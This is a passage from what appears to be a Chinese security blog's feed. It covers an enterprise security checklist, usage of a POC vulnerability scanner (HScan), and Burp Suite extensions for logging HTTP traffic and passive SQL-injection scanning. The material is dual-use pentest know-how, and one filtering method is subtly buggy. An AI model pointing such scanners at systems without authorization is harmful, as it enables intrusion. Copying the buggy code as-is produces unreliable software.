      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;最近在写一个插件扫描器，需要对目标域名进行子域名的探测，然后进行批量的POC检测。&lt;br&gt;不想重复造轮子，于是在GitHub溜了一圈。（逃）
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>甲方安全建设</title>
    <link href="https://www.beysec.com/security/safety-construction.html"/>
    <id>https://www.beysec.com/security/safety-construction.html</id>
    <published>2017-11-14T07:34:49.000Z</published>
    <updated>2020-07-13T07:43:03.127Z</updated>
    
    <content type="html"><![CDATA[<h3 id="资产梳理"><a href="#资产梳理" class="headerlink" title="资产梳理"></a>资产梳理</h3><blockquote><p>IP列表、业务分组(负责人、联系方向)、业务属性<br>业务端口<br>业务应用架构、技术堆栈</p></blockquote><h3 id="边界安全，防火墙策略控制（需要梳理业务端口）"><a href="#边界安全，防火墙策略控制（需要梳理业务端口）" class="headerlink" title="边界安全，防火墙策略控制（需要梳理业务端口）"></a>边界安全，防火墙策略控制（需要梳理业务端口）</h3><p>如果是硬件，使用防火墙统一控制<br>如果是操作系统，Iptalbes＋IPSEC<br>及时监控业务端口的变化（外部nmap扫描搜集结果比对，或者编写脚步放到运维平台收集系统监听端口和防火墙策略)<br>跳板机安全控制</p><h3 id="账户安全管理"><a href="#账户安全管理" class="headerlink" title="账户安全管理"></a>账户安全管理</h3><blockquote><p>弱密码<br>root、sudoer权限<br>账户、授权、访问、审计等等</p></blockquote><h3 id="服务器安全"><a href="#服务器安全" class="headerlink" title="服务器安全"></a>服务器安全</h3><blockquote><p>安全基线检测<br>操作审计<br>异常登录审计(日志收集分析)<br>漏洞清点/扫描，补丁修复测试和推进</p></blockquote><h3 id="WEB安全"><a href="#WEB安全" class="headerlink" title="WEB安全"></a>WEB安全</h3><blockquote><p>应用渗透测试<br>接口安全(加密、通信)<br>webshell实时监测<br>Nginx日志分析/Nginx流量旁路分析</p></blockquote><h3 id="业务风控安全"><a href="#业务风控安全" class="headerlink" title="业务风控安全"></a>业务风控安全</h3><blockquote><p>用户安全机制（密码、验证码、登录）<br>交易安全</p></blockquote><h3 id="安全培训"><a href="#安全培训" class="headerlink" title="安全培训"></a>安全培训</h3><blockquote><p>安全意识培训<br>运维安全培训<br>WEB安全开发</p></blockquote><h3 id="安全规范和流程"><a href="#安全规范和流程" class="headerlink" title="安全规范和流程"></a>安全规范和流程</h3><blockquote><p>人员入职账户开通<br>人员离职账户注销<br>服务器上下架安全管理<br>安全应急响应机制</p></blockquote><h3 id="内网安全"><a href="#内网安全" class="headerlink" title="内网安全"></a>内网安全</h3><blockquote><p>内网服务器安全<br>账户统一验证和管理机制(域ldap协议统一验证OA、RTX、邮件、内网业务系统)<br>弱口令监测(NTLM/LM)<br>账户异常登录<br>网络隔离（物理／虚拟化）<br>网络准入<br>PC安全（病毒统一管理、通知处理）</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;资产梳理&quot;&gt;&lt;a href=&quot;#资产梳理&quot; class=&quot;headerlink&quot; title=&quot;资产梳理&quot;&gt;&lt;/a&gt;资产梳理&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;IP列表、业务分组(负责人、联系方向)、业务属性&lt;br&gt;业务端口&lt;br&gt;业务应用架构、技术堆栈&lt;/
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
  </entry>
  
  <entry>
    <title>HScan 一款插件式漏洞扫描器</title>
    <link href="https://www.beysec.com/coding/hscan-poc-exp.html"/>
    <id>https://www.beysec.com/coding/hscan-poc-exp.html</id>
    <published>2017-10-26T06:01:04.000Z</published>
    <updated>2020-07-13T07:43:03.123Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>Hscan是一个超精简的POC扫描框架，支持插件化扫描器调度，<br>插件位于plugins目录下，插件开发比较简单，格式参考自带的poc插件。</p><p>HSacn是从内部平台独立的一个小模块，不推荐用于生产环境。可作为企业巡检及漏洞扫描辅助。源码比较简单，可根据要求自定义。</p><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">python hscan.py</span><br><span class="line"> _    _   _____</span><br><span class="line">| |  | | / ____|</span><br><span class="line">| |__| || (___    ___  __ _  _ __</span><br><span class="line">|  __  | \___ \  / __|/ _` || &apos;_ \</span><br><span class="line">| |  | | ____) || (__| (_| || | | |</span><br><span class="line">|_|  |_||_____/  \___|\__,_||_| |_|</span><br><span class="line">                                plugins weB vulnerability Scanner</span><br><span class="line">                          bey0nd [at] (http://www.itwzw.cn)</span><br><span class="line"></span><br><span class="line">usage: HScan.py [options]</span><br><span class="line"></span><br><span class="line">* A plugins weB vulnerability Scanner. *</span><br><span class="line">Author : bey0nd [at] (http://www.itwzw.cn)</span><br><span class="line"></span><br><span class="line">optional arguments:</span><br><span class="line">  -h, --help            show this help message and exit</span><br><span class="line">  -u [HOST [HOST2 HOST3 ...] [HOST [HOST2 HOST3 ...] ...]]</span><br><span class="line">                        Scan several url from command line</span><br><span class="line">  -f TargetFile         Load new line delimited targets from TargetFile</span><br><span class="line">  -p , --plugins        Load plugins from TargetDirectory</span><br><span class="line">  -cookie name=value    HTTP cookies for Target</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">python hscan.py -u 172.16.32.97</span><br><span class="line"> _    _   _____</span><br><span class="line">| |  | | / ____|</span><br><span class="line">| |__| || (___    ___  __ _  _ __</span><br><span class="line">|  __  | \___ \  / __|/ _` || &apos;_ \</span><br><span class="line">| |  | | ____) || (__| (_| || | | |</span><br><span class="line">|_|  |_||_____/  \___|\__,_||_| |_|</span><br><span class="line">                                plugins weB vulnerability Scanner</span><br><span class="line">                          bey0nd [at] (http://www.itwzw.cn)</span><br><span class="line"></span><br><span class="line">[-] 11:39:05 [INFO] check target [172.16.32.97] with plugins [redis-remote]</span><br><span class="line">[-] 11:39:05 [INFO] check target [172.16.32.97] with plugins [redis-unauth]</span><br><span class="line">[-] 11:39:05 [INFO] all target[s] is done , check result with output</span><br><span class="line"></span><br><span class="line">success : 0</span><br></pre></td></tr></table></figure><h3 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h3><p><a href="https://github.com/ibey0nd/HScan" target="_blank" rel="noopener">https://github.com/ibey0nd/HScan</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;Hscan是一个超精简的POC扫描框架，支持插件化扫描器调度，&lt;br&gt;插件位于plugins目录下，插件开发比较简单，格式参考自带的poc插
      
    
    </summary>
    
      <category term="coding" scheme="https://www.beysec.com/categories/coding/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>burpsuite插件开发-HTTP请求入库</title>
    <link href="https://www.beysec.com/security/burpsuite-ext-save-httplog.html"/>
    <id>https://www.beysec.com/security/burpsuite-ext-save-httplog.html</id>
    <published>2017-08-22T05:15:34.000Z</published>
    <updated>2020-07-13T07:43:03.122Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>早前写过一个基于代理的模式的自动化的安全扫描器。<br>当初是用python来写的一个代理，但是可能我实际安全测试的时候用burpsuite比较多一点，所以写个burpsuite的插件来被动的存储http请求到数据库里。<br>这个也比较简单，所以大概跟同学们说下，代码会开源。</p><h3 id="插件基础"><a href="#插件基础" class="headerlink" title="插件基础"></a>插件基础</h3><p>基础环境的搭建可参考上篇文章，一些API的基础可参考官方文档。<br>还是同之前的插件一样，所有的burpsuite插件都必须实现IBurpExtender这个接口。由于我们需要被动的收集http的请求，所以还要实现IScannerCheck。</p><p>为了界面客观性，加了个UI面板，所以需要实现ITab接口。</p><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><p>burpsuite插件的注册声明</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">registerExtenderCallbacks</span><span class="params">(IBurpExtenderCallbacks callbacks)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">this</span>.callbacks = callbacks;</span><br><span class="line">        <span class="keyword">this</span>.helpers = callbacks.getHelpers();</span><br><span class="line">        stdout = <span class="keyword">new</span> PrintWriter(callbacks.getStdout(),<span class="keyword">true</span>);</span><br><span class="line">        db = jdbcUtils.getInitJDBCUtil();</span><br><span class="line">        </span><br><span class="line">        bpGui(callbacks);</span><br><span class="line">        callbacks.setExtensionName(<span class="string">"NST Proxy"</span>);</span><br><span class="line">        callbacks.registerScannerCheck(<span class="keyword">this</span>);</span><br><span class="line">        stdout.println(<span class="string">"NST Proxy V1.1 load Success "</span>);</span><br><span class="line">        </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个方法每个插件都要实现，基本操作都是类似的。初始化一些变量并注册插件。</p><p>为了避免一些静态资源js和css之类的存到数据库，所以进行了后缀的检测。</p><p>同样的，避免一些不需要检测的请求入库，还进行了域名的黑名单过滤。预定义如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">   <span class="keyword">public</span> <span class="keyword">static</span> String[] blackExt = &#123;</span><br><span class="line">           <span class="string">".ico"</span>,<span class="string">".woff"</span>,<span class="string">".flv"</span>,<span class="string">".js"</span>,<span class="string">".css"</span>,<span class="string">".jpg"</span>,</span><br><span class="line">           <span class="string">".png"</span>,<span class="string">".jpeg"</span>,<span class="string">".gif"</span>,<span class="string">".pdf"</span>,<span class="string">".txt"</span>,</span><br><span class="line">           <span class="string">".rar"</span>,<span class="string">".zip"</span>,<span class="string">".mp4"</span>,<span class="string">".svg"</span>,<span class="string">"woff2"</span>,</span><br><span class="line">           <span class="string">".swf"</span>,<span class="string">".wmi"</span>,<span class="string">".exe"</span>,<span class="string">".mpeg"</span>,<span class="string">".htm"</span></span><br><span class="line">   &#125;;</span><br><span class="line">   <span class="keyword">public</span> <span class="keyword">static</span> String[] url_black_hosts = &#123;<span class="string">".gov"</span>,<span class="string">"qq.com"</span>,<span class="string">"so.com"</span>,<span class="string">"12306.cn"</span>,</span><br><span class="line">           <span class="string">"itwzw.cn"</span>,<span class="string">"google"</span>,<span class="string">"gstatic"</span>,<span class="string">"cnzz.com"</span>,<span class="string">"doubleclick"</span>,<span class="string">"bootcss.com"</span>,</span><br><span class="line">           <span class="string">"360safe.com"</span>,<span class="string">"mil.cn"</span>,<span class="string">"gov.cn"</span>,<span class="string">"gov.com"</span>,<span class="string">"cnblogs.com"</span>,<span class="string">"box3.cn"</span>,<span class="string">"bdimg.com"</span>,<span class="string">"360.cn"</span>,</span><br><span class="line">           <span class="string">"baidu.com"</span>,<span class="string">"csdn.com"</span>,<span class="string">"github.com"</span>,<span class="string">"127.0.0.1"</span>,<span class="string">"localhost"</span>,<span class="string">"googleadsserving.cn"</span>,<span class="string">".csdn.net"</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>可以根据需求来进行具体的修改。</p><p>检测方法如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">isblackext</span><span class="params">(String url)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">for</span> (String ext : blackExt) &#123;</span><br><span class="line">            <span class="comment">//such as : a.js</span></span><br><span class="line">            <span class="keyword">if</span>(url.endsWith(ext)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">            &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">//such as : as.js?ver=20170101</span></span><br><span class="line">                <span class="keyword">if</span>(url.contains(<span class="string">"?"</span>))&#123;</span><br><span class="line">                    String[] urls = url.split(<span class="string">"?"</span>);</span><br><span class="line">                    isblackext(urls[<span class="number">0</span>]);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">isblackdomain</span><span class="params">(String url)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">for</span> (String string : url_black_hosts) &#123;</span><br><span class="line">            <span class="keyword">if</span>(url.contains(string)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>重复的URL地址将不会再次存储，每次入库前会进行查重，具体为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">queryrepeat</span><span class="params">(String url,String body,Connection conn)</span> </span>&#123;</span><br><span class="line">        String sql_exec = <span class="string">"SELECT COUNT(*) as count FROM httplog WHERE url=? AND body = ?"</span>;</span><br><span class="line">        <span class="keyword">int</span> flag = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">           PreparedStatement ps = conn.prepareStatement(sql_exec);</span><br><span class="line">           ps.setString(<span class="number">1</span>, url);</span><br><span class="line">           ps.setString(<span class="number">2</span>, body);</span><br><span class="line">           ResultSet rs = ps.executeQuery();</span><br><span class="line">           <span class="keyword">while</span> (rs.next()) &#123;</span><br><span class="line">               flag = rs.getInt(<span class="string">"count"</span>);</span><br><span class="line">           &#125;</span><br><span class="line">           <span class="keyword">return</span> flag;</span><br><span class="line">           </span><br><span class="line">       &#125; <span class="keyword">catch</span> (SQLException e) &#123;</span><br><span class="line">           e.printStackTrace();</span><br><span class="line">       &#125;</span><br><span class="line">        </span><br><span class="line">       <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>然后就是根据被动的请求，来拿到http请求，进行拆分组装后存到MySQL数据库里。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String url = <span class="keyword">this</span>.helpers.analyzeRequest(baseRequestResponse).getUrl().toString();</span><br></pre></td></tr></table></figure><p>helpers是burpsuite提供的一个帮助类的插件，可由他来获取到http请求的URL，method，body参数等信息。</p><p>封装后入库。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">insert</span><span class="params">(Map&lt;String,String&gt; sql,Connection conn,PrintWriter stdout)</span> </span>&#123;</span><br><span class="line">         String sql_exec = <span class="string">"INSERT INTO httplog(url,method,header,body) VALUE(?,?,?,?)"</span>;</span><br><span class="line">         <span class="keyword">try</span> &#123;</span><br><span class="line">            PreparedStatement ps = conn.prepareStatement(sql_exec);</span><br><span class="line">            ps.setString(<span class="number">1</span>, sql.get(<span class="string">"url"</span>));</span><br><span class="line">            ps.setString(<span class="number">2</span>, sql.get(<span class="string">"method"</span>));</span><br><span class="line">            ps.setString(<span class="number">3</span>, sql.get(<span class="string">"headers"</span>));</span><br><span class="line">            ps.setString(<span class="number">4</span>, sql.get(<span class="string">"body"</span>));</span><br><span class="line">            <span class="keyword">int</span> i = ps.executeUpdate();</span><br><span class="line">            stdout.println(<span class="string">"[+] insert ["</span>+i+<span class="string">"] row "</span>);</span><br><span class="line">            <span class="keyword">return</span> i;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (SQLException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">         </span><br><span class="line">         <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">     &#125;</span><br></pre></td></tr></table></figure><p>httplog表结构如下，需要先创建表</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">USE</span> <span class="string">`scan`</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*Table structure for table `httplog` */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">TABLE</span> <span class="keyword">IF</span> <span class="keyword">EXISTS</span> <span class="string">`httplog`</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> <span class="string">`httplog`</span> (</span><br><span class="line">  <span class="string">`id`</span> <span class="built_in">int</span>(<span class="number">10</span>) <span class="keyword">NOT</span> <span class="literal">NULL</span> AUTO_INCREMENT,</span><br><span class="line">  <span class="string">`url`</span> <span class="built_in">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`method`</span> <span class="built_in">varchar</span>(<span class="number">50</span>) <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line">  <span class="string">`header`</span> <span class="built_in">text</span>,</span><br><span class="line">  <span class="string">`body`</span> <span class="built_in">text</span>,</span><br><span class="line">  PRIMARY <span class="keyword">KEY</span> (<span class="string">`id`</span>)</span><br><span class="line">) <span class="keyword">ENGINE</span>=<span class="keyword">InnoDB</span> AUTO_INCREMENT=<span class="number">55</span> <span class="keyword">DEFAULT</span> <span class="keyword">CHARSET</span>=utf8;</span><br></pre></td></tr></table></figure><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><p>直接导入插件后</p><p>修改响应的MySQL连接字符串，当Proxy被选中则存储到数据库，否则将不会处理。方便手工测试一些东西时，所以加个是否开启的开关。</p><p><img src="http://oarpqpv2q.bkt.clouddn.com/wp-content/uploads/2017/08/burp.png" alt="burp"></p><p>控制台输出</p><p><img src="http://oarpqpv2q.bkt.clouddn.com/wp-content/uploads/2017/08/burp_proxy.png" alt="burp"></p><p>然后浏览器开启burpsuite代理即可自动的存储到数据库中。</p><p><img src="http://oarpqpv2q.bkt.clouddn.com/wp-content/uploads/2017/08/db.png" alt="burp"><br>然后就可以根据具体的需要来进行检测漏洞了。</p><h3 id="开源"><a href="#开源" class="headerlink" title="开源"></a>开源</h3><p>项目地址<br><a href="https://github.com/ibey0nd/NSTProxy" target="_blank" rel="noopener">https://github.com/ibey0nd/NSTProxy</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;早前写过一个基于代理的模式的自动化的安全扫描器。&lt;br&gt;当初是用python来写的一个代理，但是可能我实际安全测试的时候用burpsuite
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="java" scheme="https://www.beysec.com/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>burpsuite插件开发被动式注入扫描</title>
    <link href="https://www.beysec.com/security/burpsuite-ext-passivescan-sqli.html"/>
    <id>https://www.beysec.com/security/burpsuite-ext-passivescan-sqli.html</id>
    <published>2017-07-14T08:28:42.000Z</published>
    <updated>2020-07-13T07:43:03.122Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>BurpSuite是久负盛名的web应用安全测试工具，在安全圈子中被誉为“神器”。它的核心功能是http代理，并在此基础上提供了丰富的自定义配置选项，协助使用者设计不同的方案进行渗透或者安全监测。此外，除了工具本身提供的功能以外，burpsuite神器提供了一组java编写的应用接口，通过java或基于java的Jython、Jruby，可以实现许多自定义的功能插件。Burpsuite作为web测试的神器，已经人手必备了。用户可以自己开发扩展实现一些特殊的需求。</p><p>这里我就用burpsuite实现一个被动式的注入扫描的功能，记录一下，也给其他同学做个参考。</p><h3 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h3><p>目前burpsuite官方支持用java，python，ruby开发扩展，我这里就用java来开发了，如果用python或者ruby的话，速度及性能是比java差的。</p><p>首先需要下载burpsuite的api包，这个在burpsuite客户端已经集成了，直接下载即可。</p><p>然后在eclipse中新建项目，把burpsuite的api包导入进来，这样基本的开发环境已经成功了。</p><h3 id="API基础"><a href="#API基础" class="headerlink" title="API基础"></a>API基础</h3><p>简单介绍一下几个最常用的接口：<br>interface IBurpExtender: 这个接口所有的扩展都需要实现.<br>Interface IBurpExtenderCallbacks: 这个接口几乎是必备的。在编写扩展的过程中会经常用到。<br>Interface IExtensionHelpers: 这个接口是新加的。提供了编写扩展中常用的一些通用函数，比如编解码、构造请求等。这样就不需要重负造轮子了。<br>Interface IHttpRequestResponse: 这个接口包含了每个请求和响应的细节。在Brupsuite中的每个请求或者响应都是IHttpRequestResponse实例。</p><h3 id="SQL注入插件"><a href="#SQL注入插件" class="headerlink" title="SQL注入插件"></a>SQL注入插件</h3><p>因为我们要实现被动注入的功能，所以除了实现burpsuite api的IBurpExtender接口外，还要实现IScannerCheck接口。</p><p>大致代码如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BurpExtender</span> <span class="keyword">implements</span> <span class="title">IBurpExtender</span>,<span class="title">IScannerCheck</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> IBurpExtenderCallbacks callbacks;</span><br><span class="line">    <span class="keyword">public</span> IExtensionHelpers helpers;</span><br><span class="line">    <span class="keyword">public</span> PrintWriter stdout;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">registerExtenderCallbacks</span><span class="params">(IBurpExtenderCallbacks callbacks)</span> </span>&#123;</span><br><span class="line">        <span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">this</span>.callbacks = callbacks;</span><br><span class="line">        stdout = <span class="keyword">new</span> PrintWriter(callbacks.getStdout(),<span class="keyword">true</span>);</span><br><span class="line">        <span class="keyword">this</span>.helpers = callbacks.getHelpers();</span><br><span class="line">        </span><br><span class="line">        callbacks.setExtensionName(<span class="string">"NST SQL CHECK"</span>);</span><br><span class="line">        callbacks.registerScannerCheck(<span class="keyword">this</span>);</span><br><span class="line">        stdout.println(<span class="string">"NST SQL CHECK : www.isnst.com"</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实现IScannerCheck后需要重写被动扫描的函数。</p><p>也就是<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> List&lt;IScanIssue&gt; <span class="title">doPassiveScan</span><span class="params">(IHttpRequestResponse baseRequestResponse)</span> </span>&#123;&#125;</span><br></pre></td></tr></table></figure></p><p>在这个方法中我们就可以拿到http请求，然后根据我们的payload来重新发包，进行验证sql注入的漏洞。<br>给出我的部分代码，供参考。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//被动扫描</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> List&lt;IScanIssue&gt; <span class="title">doPassiveScan</span><span class="params">(IHttpRequestResponse baseRequestResponse)</span> </span>&#123;</span><br><span class="line">        <span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line">        String method = <span class="keyword">this</span>.helpers.analyzeRequest(baseRequestResponse).getMethod();</span><br><span class="line">        String url = <span class="keyword">this</span>.helpers.analyzeRequest(baseRequestResponse).getUrl().toString();</span><br><span class="line">        <span class="keyword">byte</span> content_type = <span class="keyword">this</span>.helpers.analyzeRequest(baseRequestResponse).getContentType();</span><br><span class="line">        <span class="keyword">for</span> (String item : config.blackDomain) &#123;</span><br><span class="line">            <span class="keyword">if</span>(url.contains(item)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (String  ext : 